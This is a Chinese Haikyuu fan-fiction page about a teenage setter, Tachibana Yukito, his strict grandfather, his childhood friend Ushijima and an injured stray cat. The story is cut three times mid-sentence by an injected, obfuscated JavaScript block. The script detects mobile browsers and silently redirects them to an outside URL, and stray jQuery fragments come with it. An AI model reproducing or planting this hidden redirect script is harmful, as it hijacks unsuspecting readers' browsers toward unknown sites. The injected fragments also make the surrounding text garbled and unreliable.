“谢谢。”立花雪兔轻声说。 她没有说话,立花浩介却哼了一声。 “那可是从北海道空运过来的松叶蟹,做小孩子吃的玉子烧也太浪费了。” “樱井医生嘱咐你少吃蟹的。”立花薰子这才淡淡道,“而且,我们雪兔本来就是小孩子嘛。” 不知道为什么,立花雪兔忽然鼻子一酸。 他赶紧把脸埋在碗里,低头迅速扒了几口饭,把专门做给他的玉子烧吃掉了。今天没有等立花浩介站起身,他就先丢下一句“我吃饱了”,匆匆离开了餐厅。 “你看!这孩子真的是没礼貌。”立花浩介说。 立花薰子已经不想和他说什么了。 “你觉得我不会管教孩子吗?”立花浩介重重地放下碗,“和也、树也、真琴,不都是我管教出来的吗?” “你管教了哪一个啊?”立花薰子也有点生气了,“明明都是我在带孩子,孩子们也都好好的。就是你非要插手真琴的事,她才……” * 立花雪兔回到房间,心情差到了极点。 三月里的晚上,天快要黑尽了,房间没有开灯,只有手机屏幕微弱的光。 他就这样躺在床上,任由自己被黑暗一点一点吞噬。窗外,大地尽头的微光也逐渐消散,路灯亮了,飞蛾在灯下徘徊。 其实如果仔细想想,他的生活远不到被摧毁的程度。他还有地方可住,有饭可吃,有学可上。但是在十六岁少年的世界里,在这样将暗未暗的时刻,他只觉得陷入了深深的漩涡,自己和寄人篱下的林黛玉同命相怜。 他住在这幢府邸的三楼,是他妈妈立花真琴以前的房间。已经有二十年不曾有人在这间房间住过了,立花真琴十八岁离开家的时候,把所有的东西收拾得干干净净,宣称永远也不会回来。 是的,她确实再也没有回来。 只有立花雪兔在六岁左右曾短暂地来仙台住过一阵子,是由二舅舅树也带着他住在二楼的房间,也就是在那时候认识了若利。 六岁是相当遥远的时间,他已经不记得当年的外公是不是像现在一样难相处,也许童年的记忆会欺骗、遮蔽、美化,直到真相重新在眼前撕开一道口子。树也舅舅已经在东京成家了,而若利…… 立花雪兔叹了口气。 牛岛若利。 他也已经相当遥远了。 立花雪兔漫无目的地刷着手机,从前的朋友们的群里没人说话,或许高中太忙了,或许……他们已经有了新的朋友和新的群。 网络上,铺天盖地的讯息。 谁谁谁的恋爱绯闻,谁谁谁和谁谁谁分手,谁谁谁怀孕。他不带脑子地浏览,还是觉得很烦,难道大家都有人陪着吗?只有他被孤零零地遗弃在这里了吗? 翻到了妈妈的联系方式。 犹豫了一会儿,他拨了出去。 漫长的等待只换来了无人接听的提示。 立花雪兔刚想把这个联系不到任何人的坏手机丢到一边,手机却忽然震了两下,是五色工的消息。 白鸟泽未来王牌: 【[图片]】 【锵锵!我今天和正选前辈们一起吃了饭哦!不要羡慕我(^_^)v】 狂乱木曜日: 【羡慕的点在哪里?】 白鸟泽未来王牌: 【……】 【我还加上了牛岛前辈的LINE,你总没有了吧!】 狂乱木曜日: 【!!!】 【给我!】 白鸟泽未来王牌: 【明天给我托一百个球?】 狂乱木曜日: 【要谈条件就好好谈,别在这许愿。】 还没等到五色工的回复,就听见敲门声。 立花雪兔心说谁这时候会来?外公又来骂他了?莉子阿姨找不到他换下的衣服了?他匆匆开灯,说了一声进来吧。 是外婆。 “你刚刚是不是没开灯?要注意眼睛啊。”立花薰子说。 “啊,好的,抱歉。” “没关系,这有什么好道歉的?”立花薰子笑了笑,又说,“你朋友来找你了。” 朋友? 立花雪兔一脸茫然。 立花薰子往旁边让了让,另一个高大的身影出现在门口。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380213|168436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“若利,好久没来我们家了呢。”立花薰子引着他进房间,“你们聊吧,一会儿让美香给你们送草莓上来。啊对了,雪兔你换下的校服和运动服有没有给莉子啊?我帮你交给她吧。” “不不,不用麻烦了,我自己可以洗的。” “没事没事,给我吧。” 门关上。 牛岛若利穿着运动外套和短裤,站在玄关。他没有喘气,身上却有一层薄汗。 在这初春的夜里,立花雪兔呆坐在床上,还完全没有反应过来。 “你、你怎么来……” “跑步来的。”牛岛若利回答。 “我不是问这个,”立花雪兔问,“不是说明天见吗?” “因为,”牛岛若利顿了顿,认真地看着他的眼睛,“我想现在立刻就见到你。” 啊……要死了。 立花雪兔的脸颊飞红,眼睛不知道为什么又有点湿润,赶紧别开了目光。 牛岛若利:“?” 这个呆子、排球笨蛋!立花雪兔在心里咆哮。 他到底知不知道自己刚刚说了什么很有杀伤力的话啊?! 牛岛若利:“你……” 立花雪兔像下定了什么决心一样,猛地又转头看他。那双琥珀般的眼睛还带着朦胧泪意,牛岛若利被他盯得止住了话头。 接着,他怀里一沉。 先是一阵携着橙花沐浴露香味的微风拂面而来,然后他才感到了一点重量。那重量也微不足道,59.8kg,临走前他看见了斋藤教练的笔记本。很瘦很瘦的少年,骨骼轻得像蝴蝶的翅膀,肌肉也只有薄薄的一层,接完球之后小臂全是淤青。 牛岛若利被这样猝不及防地一扑,也仅仅只是后退了半步,就站稳了。他托住立花雪兔,以防他掉下去。 “若利!!!”立花雪兔挂在他身上大喊。 “你洗澡了。”牛岛若利想把他放下,“我跑步出汗了。” “不——”立花雪兔抱着他不撒手,过了一会儿,才轻轻地说,“谢谢你。” 牛岛若利一愣:“为什么?” “谢谢你来。”立花雪兔抬头看着他,“因为其实我也想现在立刻就见到你。” * 白鸟泽未来王牌: 【那托九十九个?】 【好吧,九十个。】 【八十。不能再低了!】 【七十,行了吧,七十个托球。】 【六十?立花雪兔你到底想怎样!】 【五十个是我的底线。】 【三十就三十!】 五色工自顾自地叫了十年的价,立花雪兔却再也没理他。 过了一会儿,忽然有新消息的提示。五色工赶紧拿起手机,以为自己明天的三十个托球有着落了,结果却是Instagram的推送。 【您关注的Yukito新发布了一条post→】 不回我消息但是发Ins啊?!五色工生气地点开立花雪兔的主页。 只有一张照片。 从房间拍向窗外的,路灯下的八重樱。花瓣层层叠叠,如雪一般压弯了树枝。 配文是: 「さくらさくら会いたいよ いやだ君に今すぐ会いたいよ」 (樱花樱花想见你) (好想现在立刻就见到你) 五色工:“???” 5. 潜入的土豆泥沙拉 决定了,应当爱、应当劳动!就这样。[1] 新的一天,立花雪兔活力满满地弹射起床,下定决心要热爱生活。 一阵携着橙花香味的小旋风从三楼刮到一楼。 老人家的一天通常开始得很早,尽管立花雪兔今天已经起得比闹钟早了,立花薰子却更早就跪坐在客厅里紫菂色的蒲团上,正在修剪一枝剑兰花。 “早上好!外婆!” “啊啦,早上好,雪兔。”立花薰子笑了笑,将剑兰花插在白瓷瓶中。 “早上好!莉子阿姨!”立花雪兔转身朝佣人莉子挥挥手。 莉子看见他小臂上的淤青,把脏衣篮放下,从家用医药箱里拿了一盒撒隆巴斯。 “浩介老爷有时候也会肩膀痛,都是贴这个的。”莉子帮他贴好,拍了拍立花雪兔的脑袋,“好了,去吃饭吧。” “谢谢莉子阿姨!” 立花薰子养的西伯利亚森林猫叫做算盘,已经十岁了,正在慵懒地吃罐头。 “早上好!算盘!” 立花雪兔路过,伸出贴满膏药的胳膊,想要抱它。 算盘将身一扭,跳到高处的柜子上,冷冷地看着少年,拒绝把自己一身精心梳理的长毛交给他。 “呜呜,打扰了,算盘大人请继续用餐。” 小旋风毫不气馁,又从客厅里刮到餐厅。 “早上好!美香阿姨!” 佣人美香正在沏茶,看见立花雪兔便笑了,让他进厨房,悄悄塞给他一份打包好的土豆泥沙拉三明治。 “我想做这个很久了,但老爷都不吃西式三明治。”美香朝他眨眨眼睛,“你带去学校吃吧,偷偷的哦。” “谢谢美香阿姨!嘿嘿!” 立花浩介从庭院里走进来。每天早晨五点半,他都会在庭院里练武士刀,这会儿只穿了一条袴,用毛巾擦着身上的汗。 “早上好!外公!”立花雪兔大声对他说。 立花浩介一愣。 “起得早就坐下好好吃饭,不要每天叼着一片面包滑你那个滑板。”立花浩介哼了一声,但态度好歹没有之前那么差了。 虽然仍然是日式早饭,但美香大概是得到了立花薰子的吩咐,给立花雪兔做了一碗焦糖牛奶布丁。 立花浩介抖了抖熨好的报纸,权当没看见。 “对了,”立花雪兔谨慎地说着敬语,“学校从今天开始部团活动了,我今天晚上想和社团的同学和前辈吃过饭再回来……” 果不其然,立花浩介立刻竖起了眉毛。 “哎呀,在社团里交交朋友,很好的呀。”立花薰子抢先说。 “嗯嗯。”立花雪兔乖巧地点头。 “雪兔参加了什么社团?” 说排球部,某位老古董可能又要生气。在他心里,只有弓道、剑道之类的才是符合立花家族身份的部团活动。 立花雪兔决定把隔壁家的好孩子搬出来当靠山: “若利哥哥的社团。” 立花薰子看了看丈夫。 “那好吧。”立花浩介勉强地说。 耶!得到同意了。 吃完,立花雪兔背着书包、抱着滑板,一路穿过初春清晨的庭院。 “早上好!高桥叔!” “早上好!渡边叔!” 庭院里正在工作的园丁高桥和等待立花浩介用餐的司机渡边也纷纷和他打招呼,等立花雪兔踩上滑板滑远了,二人才颇有些感慨。 “真琴小姐的孩子,真像她啊。就好像回到真琴小姐还在家里的时候了,庭院总是乱糟糟又吵闹的。” “虽然真琴小姐十八岁就和家里断绝关系了,但社长和夫人还是把雪兔少爷接过来了。” “对啊,小时候那一次也是,你记不记得?” “有印象。” “一听说雪兔少爷病得严重,夫人立刻就去把他接过来照顾了。在电话里数落真琴小姐不会带孩子,真琴小姐第一次不敢顶嘴。” “社长也是,虽然对雪兔少爷板着脸很严格,其实很心疼那孩子呢。” * 立花雪兔踩着滑板,携着八重樱花瓣的春风呼呼拂过,吹面却不寒。 早上好,全世界!!! 提早了很多抵达教室,教室里几乎没有人,但后座五色工的位置上,已经放了书包和制服外套。 这么早就去自主练习了吗?太努力了!我们都还没有正式入部啊。 立花雪兔这样想着,带着美香阿姨做的三明治,也往排球馆去了。 虽然今天早晨是自主练习,但正选队员们都在,大家穿着紫白相间的排球服,还没拿到队服的五色工就像还没换羽的雏鸟,和大鸟们挤在一块儿。 “小雪兔也来啦!”天童觉第一个发现了他,挥手打招呼。 “新人们还真是努力啊。”白布贤二郎感慨,“我也不能输给他们才行。” “我带了三明治来,你们训练完要不要吃?”立花雪兔问。 “要!” “当然要!” 一听见有吃的,一群饥饿的男高中生瞬间淹没了他。 “小雪兔做的?”天童觉问。 “怎么可能。”立花雪兔答,“家里的阿姨做的。” “是金枪鱼的吗?”五色工问。 “土豆泥沙拉的。”立花雪兔想用牙签把切块的三明治分给他们,但大家直接上手抢了。 “有美乃滋吗?” “再问你就别吃了。” “明天带金枪鱼美乃滋的吧。” “别在这许愿。” 美香阿姨以一人分量做的三明治自然不够吃,立花雪兔正在明天想要怎么开口请她多做一些,牛岛若利这才结束了发球练习朝他们走来。 立花雪兔低头一看,手里空空荡荡的,连面包屑都不剩了。 “喂你们!若利还没吃到啊!”立花雪兔大喊。 大家纷纷说着“啊这样吗怎么回事呢”就溜了,垫球的垫球,捡球的捡球,磨指甲的磨指甲,总之就是都装作很忙的样子。 “抱歉啊若利,我一会儿没注意就被抢光了……”立花雪兔笑眼弯弯,一点也不像懊恼的样子,转手又变出一盒蓝莓,“嘿嘿,但我还带了这个!” “我等下去便利店买饭团。”牛岛若利摇摇头,却说,“你跟我来一下。” “什么什么?” 立花雪兔盘腿坐着,看着牛岛若利蹲下,拉开排球包。 接着,牛岛若利抓过立花雪兔的手腕,解开了他的制服衬衫的袖扣。 “诶?” 立花雪兔只是过来玩,没那么努力想着要练习,所以没换运动服。 牛岛若利挽起他的袖子,一截晃眼的雪白,青蓝色的血管清晰可见。那胳膊上已经贴满了膏药,散发着淡淡的薄荷味,让牛岛若利愣了一下。 “怎么了?”立花雪兔不明所以地问。 牛岛若利从包里拿出一罐液体膏药,上面的片假名更是长得令人头晕。他说:“用这个比较好。” “啊,但这是阿姨早上刚刚帮我贴的。” “嗯。”牛岛若利把液体膏药给他,“贴久了可能会难受,就换这个。” “谢谢若利。”立花雪兔笑着收下了。 “突击检查!你们又在偷偷吃什么?”一个红色的脑袋探了过来。 “没有啦!觉前辈也太爱吃东西了。”立花雪兔吐槽。 “是的,所以有好吃的一定要自觉交给我哦。”天童觉看着他还没来得及放下袖子的胳膊,坏笑着戳了一下,如愿以偿地听见了一声惨叫。 “昨天之前,你应该很久没打球了吧,小雪兔。”天童觉洞察地说。 “嗯,之前有一整年都在准备考重点高中。”立花雪兔低头,“我本来也已经考上了。” 二人看着忽然有些低落的立花雪兔。 连牛岛若利都不知道他为什么回仙台,天童觉就更不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380214|168436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。但从小就敏锐的天童觉察觉到,这应该是一个不太好的故事,所以没有继续问。 “总之,白鸟泽的排球部比你想得要辛苦多了。”他只是转而叮嘱道,“如果不是真的喜欢打排球的人是很难坚持的。” “我当然喜欢打排球了!”立花雪兔又笑起来,“二传超——级有意思的!特别是用二次球把觉前辈耍了的时候!” “是吗,真的喜欢就好。”天童觉若有所思地看着他和牛岛若利,轻声说了一句。 然后他猛地一把将立花雪兔薅到怀里,用力揉他的脸。 “呜啊——干什么——” “看不出来吗?报仇啊,报仇。” “救命啊——” “你叫破喉咙也不会有人来救你的!” “破喉咙!破喉咙!” “这种老梗你也玩?!” 牛岛若利的表情不自觉地柔和了几分,带着淡淡的笑意,伸手把立花雪兔从天童觉怀里拉起来。 “别欺负他了,天童。” “若利,这就已经开始偏心了吗?” “要回去上课了。” * 日本高中放课时间很早,下午几乎全是部团活动的时间。 立花雪兔提前收拾好了书包,拿着滑板,站在后座的桌子旁边催促道:“快快快,今天要正式开始部团活动了。” “你现在怎么比我还急。”五色工吐槽。 昨天魔鬼般的入部考核之后,今天就有一部分人没再来排球馆了。剩下的新生站了一排,听斋藤教练念他手里的那份入部名单。 “……五色工,寒江河勇将,天羽拓海,赤仓櫂……” “以上念到名字的同学通过了入部考核,可以留下。没念到名字的同学,现在可以离开了。” 没被念到的新生三三两两的走了,有的在暗暗庆幸,有的则懊恼。 立花雪兔眨巴眨巴眼睛,站在原地。 被念到的五色工也同样茫然:“我是不是听漏了?” “新入部的,过来训练了,愣着干嘛?”鹫匠教练喊五色工。 “教练!”立花雪兔赶紧去拦住他,敬语说得乱七八糟,“请问您是不是把我漏了啊?” “我看过斋藤的名单,并没有漏掉谁。” “可是你、你昨天不是还让我打了——” “没有通过就是没有通过。”鹫匠教练冷冷地说,“闲杂人员现在请离开排球馆,正式部员要开始训练了。” “为什么啊!”立花雪兔执着地拦在他面前,“总要给个理由吧?我长得挺高的,打得不是也挺好的吗?还有几个没有排球经验的同学也入部了,为什么我就……” “因为你不适合。” 立花雪兔:“???” 立花雪兔小声嘀咕:“我的排球明明是牛岛若利教的,有什么不适合的……” “是吗。”鹫匠教练却听见了,淡淡地说,“那你已经不适合现在的他了。” 立花雪兔难以置信地睁大了眼睛。 “喂,新生那边怎么回事啊?”山形隼人问。 “你要不要去帮立花学弟说两句啊,若利?”大平狮音也说。 牛岛若利接住排球,随他们看向新生的方向,沉默。 “也是,鹫匠教练决定了的事,谁敢说什么啊……” 正选队员们不再说话,投入到他们的训练中了。 牛岛若利最后一个从那纤细单薄的少年身上收回目光,与从前无数次一样,寡言、专注而强大地站在网前,盯着半空中的排球。 五色工试图开口:“教练……” “再说一句,你也和他一起离开。”鹫匠教练毫不留情地打断了他。 五色工像只鹌鹑,瑟缩地闭嘴了。 “我知道了。” 立花雪兔低着头,看不见他的表情,只能看见他死死咬到泛白的嘴唇。 他转身,头也不回地跑出了排球馆。 6. 放课后的人与猫 很累,不想爱了,也不想劳动了。[1] 立花雪兔在校园里漫无目的地滑着滑板,暖风吹得人头疼。 这短短十五年的人生简直和老头子犯冲。立花雪兔愤愤地想。以前爷爷偏心哥哥,现在外公也不喜欢他,来了一个老头子教练,竟然还是针对他! 太坏了太坏了太坏了,准备拿眼睛去瞪。 胳膊上的撒隆巴斯已经贴了一整天,立花雪兔蹲在路沿上撕膏药,痛得呲牙咧嘴,忽然有人在身后叫他。 “立花学弟?” 立花雪兔回头一看,是演剧部的副部长,千夏学姐。 千夏也是一位YouTuber,和立花雪兔在开学前就互关了。她长得非常美丽,虽然才二年级,就已经有很多杂志和广告的通告邀约,听说签了一家东京的经纪公司,毕业之后就会直接进行演艺工作。 “现在不是部团活动时间吗?你怎么还在晃荡。”千夏笑嘻嘻地问,“是不是终于想通了,想要加入我们演剧部啊?” “学姐,都说了我对演戏什么的真的完全不懂啊……” “你只要顶着这张脸就可以了。” “脸只是入场券吧。”立花雪兔闷闷地说,“最后大家还是会倾向有实力的、努力的,或者性格好的吧。” 漂亮是一种天赋吗? 有令人心生亲近的美丽,也有令人敬而远之甚至嫌恶的美丽。在谈及“美丽”作为天赋的时候,大家其实指的都是前一种。所以倒不如说,讨人喜欢才是天赋。 可惜,他似乎没有这种天赋。 他的漂亮,在众人眼里近乎于轻浮。所有人都觉得这样的他,总能轻易地得到世间的任何东西。 既没有实力,也并不努力。 所以会被讨厌。 “立花学弟很讨人喜欢啊,至少我是这样觉得的。”千夏虽然不知道为什么,却也发现了他情绪低落,便转而问,“对了,你有没有在这附近有看见一只猫啊?” “什么猫?”立花雪兔果然有些精神了。 “我给你找找。” 千夏翻出手机相册给他看。一只标准的狸花猫,长得凶神恶煞,油光水滑,把自己养得很好,一看就是这附近的恶霸,却被千夏叫作“咪咪”。 “没看见诶。” “它每天这个时候都会在这附近的,不知道为什么今天没来,我有点担心。”千夏苦恼地说,“但是我该回社团了,今天必须要安排开学大戏的工作。” “把照片发给我,我来找吧。”立花雪兔说。 “真的吗?太好了!”千夏把包里的猫条交给他,“找到了就和我说一声,这个是它爱吃的。” “好,交给我吧。” 千夏朝他挥挥手,跑出几步,又转身。 “立花学弟,如果你来演剧部的话,可以直接上开学大戏哦!” “谢谢学姐。”立花雪兔笑了笑,“我会慎重考虑的。” “不需要太慎重啦,脑子一热就来了也可以的,这就是所谓的青春啊。”千夏板着脸故作老成,很快又笑了,“好了我要赶紧走了,立花学弟,咪咪就拜托你了。” * 立花雪兔拿着手机循环播放了一个据说可以找猫的视频,踩着滑板在校园里穿梭,心里不免也有点低落。 千夏学姐说,不需要太慎重,可以脑子一热。 ……可是,不管是慎重考虑,还是一股脑的冲动,他都想去排球部。 很想很想,非常想非常想,想去得不得了。 立花雪兔叹了口气,这时却忽然听见,从垃圾桶旁边堆放的纸箱里,传来一阵窸窸窣窣的响动。 立花雪兔:“!” 立花雪兔:“是你吗?咪咪?” 他小心翼翼地钻到纸箱堆里,果不其然,与一张凶神恶煞的胖脸对上了。 恶霸狸花原本听见了同类的叫声,却不想钻出来一个人类,感到自己被耍了,皱着脸不断地对立花雪兔哈气。 “吃饭,咪咪。”立花雪兔赶紧把千夏给的猫条拿出来。 咪咪安静了。 立花雪兔一边喂它,一边录像发给千夏。他的手机上挂着chiikawa三小只的吊坠,哗啦哗啦就像逗猫棒。咪咪连最爱的猫条都不吃了,伸出两只前爪去扑吊坠,非常标准的姿势。 “耶,你还会拦网呢?”立花雪兔笑着逗它,“你不要叫咪咪了,我叫你Block[2]好不好?” 立花雪兔把手机举高了一点,Block站起来一扑,他才发现不对劲。 它盘踞的纸箱里,有一滩干涸的血迹。 它的后腿上有伤。 怪不得藏在这里。 “Block,来,出来一点。”立花雪兔轻声哄它,把猫条往外拿了一些。 “喵喵?”Block对新名字接受良好,拖着后腿往外挪了几步。 ……看起来有点严重啊。 立花雪兔脱下制服外套,趁Block不备,将它裹成了一个猫猫卷。穷兵黩武的狸花猫自然不可能受制于人,立花雪兔被它蹬了好几脚,幸好他在家与算盘的斗争经验也算丰富,好歹没被挠到。 他将Block抱在怀里,用谷歌地图搜了一个最近的宠物医院,踩上滑板就跑了。 * “被电动车撞到了。”宠物医生说,“骨折了,不过不是很严重。这是流浪猫吧?做完手术之后最好还是住院。” “嗯。”立花雪兔点点头,“治疗吧,我会付钱的。拜托顺便把它的蛋拆了。” 医生笑着说流浪猫赠送拆蛋,就去准备手术了。 立花雪兔付了检查和手术的费用,就在旁边的便利店里等它手术结束,顺便告诉了千夏目前的情况和宠物医院的地址。 今天晚上家里没有他的晚饭。 对外公说的是和社团的前辈一起吃饭……算了。 立花雪兔买了一份关东煮,看见货架上的美乃滋,想到五色工早上的许愿,也拿了一瓶。 虽然家里的菜也不太合胃口,规矩又多,但总还算是有人陪着。一个人坐在临窗的位置上吃着关东煮,只能是味同嚼蜡。 千夏很快就回消息了。 一等星: 【怎么会这样!!!咪咪(T_T)】 【辛苦你了立花学弟,手术大概要多久啊?】 狂乱木曜日: 【医生说一小时左右。】 一等星: 【好,等下我和演剧部的几个朋友就去看它,咪咪是一直是我们一起投喂的。费用我们也平摊给你。】 狂乱木曜日: 【没关系啦。】 一等星: 【要给的。不然你现在就回学校一趟?】 狂乱木曜日: 【好吧。】 * 和千夏等人约在了操场上碰面,演剧部的学姐个个都长得很漂亮,一看见立花雪兔全围过来揉他的脑袋。 “千夏说立花学弟很可爱,果然很可爱呢!” “真的不来演剧部吗,好遗憾啊……” “今天辛苦学弟了,这是我们买的小蛋糕,送给你的。” “谢谢学姐们。”立花雪兔被她们揉得一头乱蓬蓬的。 “那我们去就看咪咪啦。”千夏说。 已经是部团活动结束的时间了,操场上成群结队的人离开校园。排球馆里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380215|168436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也有人三三两两地走了出来。 结束第一天的训练,五色工一边收拾东西,一边给立花雪兔发消息。 “阿工,你不走吗?” “嗯嗯,天童前辈,你们先走吧。”五色工说。 五色工抓耳挠腮地措辞了半天,排球馆的人都走光了,他才发出了一条消息。 白鸟泽未来王牌: 【你还好吧?】 消息提示的声音在他身后响起。 五色工:“?” 五色工:“你你你……” “怎么了。”立花雪兔换了运动服,随口问,“昨天说的一百个托球,你还要不要了?” 五色工震惊:“诶,但但但但是……” 立花雪兔转身:“不要就算了。” “要!我要!拜托了!” * 与旁人不同,牛岛若利结束训练之后,习惯在排球馆洗了澡、换了干净的衣服,再去吃饭。 从浴室出来,他忽然听见本该无人的场地里,还传来了排球大力砸在地上的声音。 牛岛若利向场地走去。 雪白灯光下,少年专注地托球,一个接着一个。 那身影和童年时的遥远记忆重合。 只是在旁边扣球的,并不是他了。 立花雪兔不顾胳膊上淤青的酸痛,只盯着半空中旋转又落下的球,心想: 不是有天赋的人,也不是有实力的人。 但是至少,他还可以做一个努力的人。 “哇!太痛快了——”五色工击落最后一个托球,眼睛亮晶晶的,“雪兔!你明天也来给我加练行不行!” “行啊。”立花雪兔问,“但我想知道,我和白布前辈的托球有什么不一样?” “白布前辈的托球,很自然。”五色工想了想,“球会理所当然地出现在攻手想要的任何地方,就像什么必然的定律一样。但你的托球,带着你自己的想法,是你在球场上的瞬间得出的最优解。” 立花雪兔没听懂,有一瞬间的茫然。 “简单来说,就是配合攻手的托球,和攻手配合你的托球吧。”五色工说,“不过我觉得你也不用追求白布前辈的托球方式,因为人和人就是不一样的的。就像我,也会用自己的方式打败牛岛前辈。” 立花雪兔:“……” 但是如果我做不到的话,要怎么样才能留在这里? 像以前一样,继续待在他身边。 在立花雪兔不知道的时刻里,牛岛若利站在阴影里,看了他很久。 但他现在还不清楚,这样沉默的、无人知晓的、计划之外的时刻,对自己来说究竟意味着什么。 就像立花雪兔也不知道,为什么每一次看向牛岛若利的时候,总能准确无误地对上那一双褐绿色的眼睛。 球馆里,少年准备离开了。 牛岛若利也终于收回了视线,沉默地转身离去。 “若利。” 老者的声音在背后响起。 “鹫匠教练?”牛岛若利微微惊讶,“您……” “我来找你。”鹫匠教练说,“U19的名单正式确定了,集训时间在八月份。” 牛岛若利点头。入选U19,在他的意料之内。 但是此刻,有一件意料之外的事情,反常地牵动着他的心。 牛岛若利顿了顿:“您也看见了……” “我看见了,但我不准备改变我的看法。白鸟泽排球部不要一时冲动的人,也不要抱着‘随便玩玩’的心态的人。我怎么看都觉得,立花雪兔正是这两种人。”鹫匠教练说。 “鹫匠教练,”牛岛若利忽然认真地说,“我和您打个赌吧。” 7. 排球部的吉祥物 第二天早晨,立花雪兔卡着训练结束的点钟准时出现在了排球馆里。 原本大家都在收拾东西、喝水、休息,磨指甲的磨指甲,缠绷带的缠绷带,一看见立花雪兔就知道加餐来了。天童觉一把将他抓到怀里,川西太一和山形隼人配合搜刮。 “有!今天都有!拜托美香阿姨做了很多!”立花雪兔惨叫,“谁在趁机挠我痒痒啊啊啊——” 一开始立花雪兔还担心麻烦美香阿姨,早上起来自己摸到厨房做饭团。但他错误地估计了自己的能力,也没想到美香阿姨竟然是真的爱做饭,因为立花浩介过于古板,她的很多“小朋友菜谱”都没有用武之地。 直到立花雪兔来了。 “要给部团的朋友们带吃的吗?”美香握拳,厨神之火焰在她身后熊熊燃烧,“没问题!交给我吧!” 于是,立花雪兔就带着金枪鱼美乃滋饭团、牛排蔬菜沙拉、炸虾天妇罗和芝士可乐饼出现在了排球馆。 众人的嘴角纷纷流下了感动的泪水。 “我要颁布一条立花保护法。”山形隼人宣布,“任何人不得伤害立花学弟。” “除了你们三个本来也没人伤害他吧。”大平狮音吐槽。 “牛岛去洗澡了。”白布贤二郎说。 “若利的那份我可以帮忙吃掉!”天童觉还在捏着立花雪兔的脸,全然不把新颁布的法条当回事。 “快放开雪兔,放开他。”五色工急得跳脚,“那是我的一百个托球!” 大家吃着东西,看着新入部的、以打败牛岛若利为志向的一年级生,在经历了一个早晨的训练之后,竟然还抓着人给他托一百个球。 “真是有活力啊。” “嚼嚼嚼,这是新人buff啦,嚼嚼嚼。”川西太一若无其事地说,“我去年刚入部那会儿也这样。” “但是,立花学弟他……”白布贤二郎顿了顿,“鹫匠教练拒绝了他的入部申请,不是吗。” 大家都在刻意回避着的现实。 即使在心里已经把他当做了排球部的一份子,也不能改变的现实。 “而且,今天是最后一天了。所有社团的入部申请都会在今天截止,之后就要上交给学校盖章。”白布贤二郎补充,“就算他被排球部拒绝了,肯定也有很多……” “小雪兔应该清楚自己在做什么吧。”天童觉伸了个懒腰,“啊,若利回来了。” 大家自动给牛岛若利让出了一个中间的位置。 他坐下,拧开一包能量果冻,目光在几个便当盒上巡逡。便当盒上都有一枚盛开的剑兰花徽,也许连立花雪兔自己都不知道,那是立花家的家徽。 “虽然很舍不得立花带来的便当,但这样确实不是办法。”濑见英太也说,“作为前辈和幼驯染的哥哥,若利也该劝劝他吧。” 牛岛若利拿了一个饭团,问:“为什么?” “还问为什么……难道立花就这样每天躲着教练给我们当陪练和移动食堂吗?这是耽误青春啊!” “不不,这种事你让牛岛去说也不对吧……” “要么让五色去说?他们关系挺好的。” “还是要当事人想清楚才行啊……” “都说了没时间了啊,今天就是最后一天了。” 天童觉支着脸颊,视线从球场上少年飘向认真吃饭团的牛岛若利,接着露出了一个洞察的笑意。 “你看起来一点都不担心呢,若利。” “是,”牛岛若利难得淡淡地笑了一下,“我不担心。” “诶——”天童觉拖长了语调,低声揶揄,“有秘密呢。” “嗯,秘密。” * 下午的部团活动时间,立花雪兔就先去宠物医院看望咪咪——他偷偷叫它Block,等活动结束、教练们走了再去排球馆。 “它恢复得不错。”医生说,“其实它很亲人的,可惜昨天来的那几个女孩子家里都不让养。” 虽然外婆养了算盘,但是外公肯定不会同意立花雪兔再养一只猫的。 他用肚脐都能想到那老古板会说什么: 我养你就已经够累赘了!怎么又来一个累赘?! 立花雪兔叹了口气,摸了摸Block的脑袋。 “等它完全好了,我和千夏学姐她们试着找找领养吧。”他喃喃地说,又像在自言自语,“这么乖的小猫咪,怎么会没有人要呢?” * 几天过去,很快就到了周五,开学第一周就要结束了。因为入部申请都已经递交,就连千夏都不再追着立花雪兔说来演剧部的事了。 但是立花雪兔还是会每天带着吃的,在训练结束之后抵达排球馆。有时候天童觉和川西太一,还有几个一身牛劲儿使不完的一年级生也会请他帮忙托球,引得五色工十分不爽。 “这是我自带的二传!” “什么嘛。”天童觉揉着五色工的妹妹头,“小雪兔明明是我们整个排球部的吉祥物哦。” 排球部的吉祥物吗?立花雪兔看着正由白布前辈陪着自主练习的牛岛若利,心想。 这样也可以的,嗯,已经完全足够了。 稍微靠近一点点,一点点就好了。 排球馆的门忽然打开了。 大家正在狼吞虎咽地吃着青瓜火腿三明治和烤和牛饭团,看见来人的表情就像见了鬼一样,赶紧收拾一地乱七八糟的便当盒。 